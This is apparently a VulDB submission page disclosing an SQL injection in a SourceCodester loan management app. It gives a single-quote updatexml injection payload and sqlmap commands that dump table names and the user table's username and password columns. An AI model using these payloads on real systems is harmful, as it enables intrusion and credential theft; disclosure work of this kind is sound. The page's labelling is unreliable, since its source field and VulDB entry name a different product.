| Título | Loan Management System have SQL inject Vulnerability |
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| Descripción | In the modification of personal data of this System, Sql injection vulnerability exists in usernameparameter, which can be used by attackers to steal malicious information.
Process demonstration
Login interface, enter a single quote to test whether there is SQL injection
https://img-blog.csdnimg.cn/2bb9b9dc6a1f44e086d13f383c6fbd6e.png
There is SQL injection. At the same time, it is verified that the closing method is single-quote closure. Try single-quote injection. Inject the payload as
```
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
```
https://img-blog.csdnimg.cn/0d1685af002c46489e19a2da934dfa86.png
burpsuite to capture packets to obtain data packets
https://img-blog.csdnimg.cn/06610f8b1d51457882ee778dc7375092.png
Use the tool sqlmap to attack and obtain the data table payload
```
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" --tables
```
https://img-blog.csdnimg.cn/0d83b95d16e54ad686fc975ce2a79c43.png
```
Get column information payload
```
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" -T "user" --columns
```
https://img-blog.csdnimg.cn/1ccadd6933ef463d8129463d5ea37489.png
Get field information payload
```
python sqlmap.py -r "D:\sqlmap\3.txt" -D "db_lms" -T "user" -C "username,password" --columns
```
https://img-blog.csdnimg.cn/b7bfb674c4a34d4db7c63624a12be7e0.png
source link
https://www.sourcecodester.com/php/15529/loan-management-system-oop-php-mysqlijquery-free-source-code.html |
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| Fuente | ⚠️ https://www.sourcecodester.com/visual-basic-net/13253/automated-beer-parlour-billing-system.html |
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| Usuario | quan9i (UID 30726) |
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| Sumisión | 2022-08-11 16:54 (hace 4 años) |
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| Moderación | 2022-08-12 12:48 (20 hours later) |
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| Estado | Aceptado |
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| Entrada de VulDB | 206247 [SourceCodester Automated Beer Parlour Billing System Login Nombre de usuario inyección SQL] |
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| Puntos | 20 |
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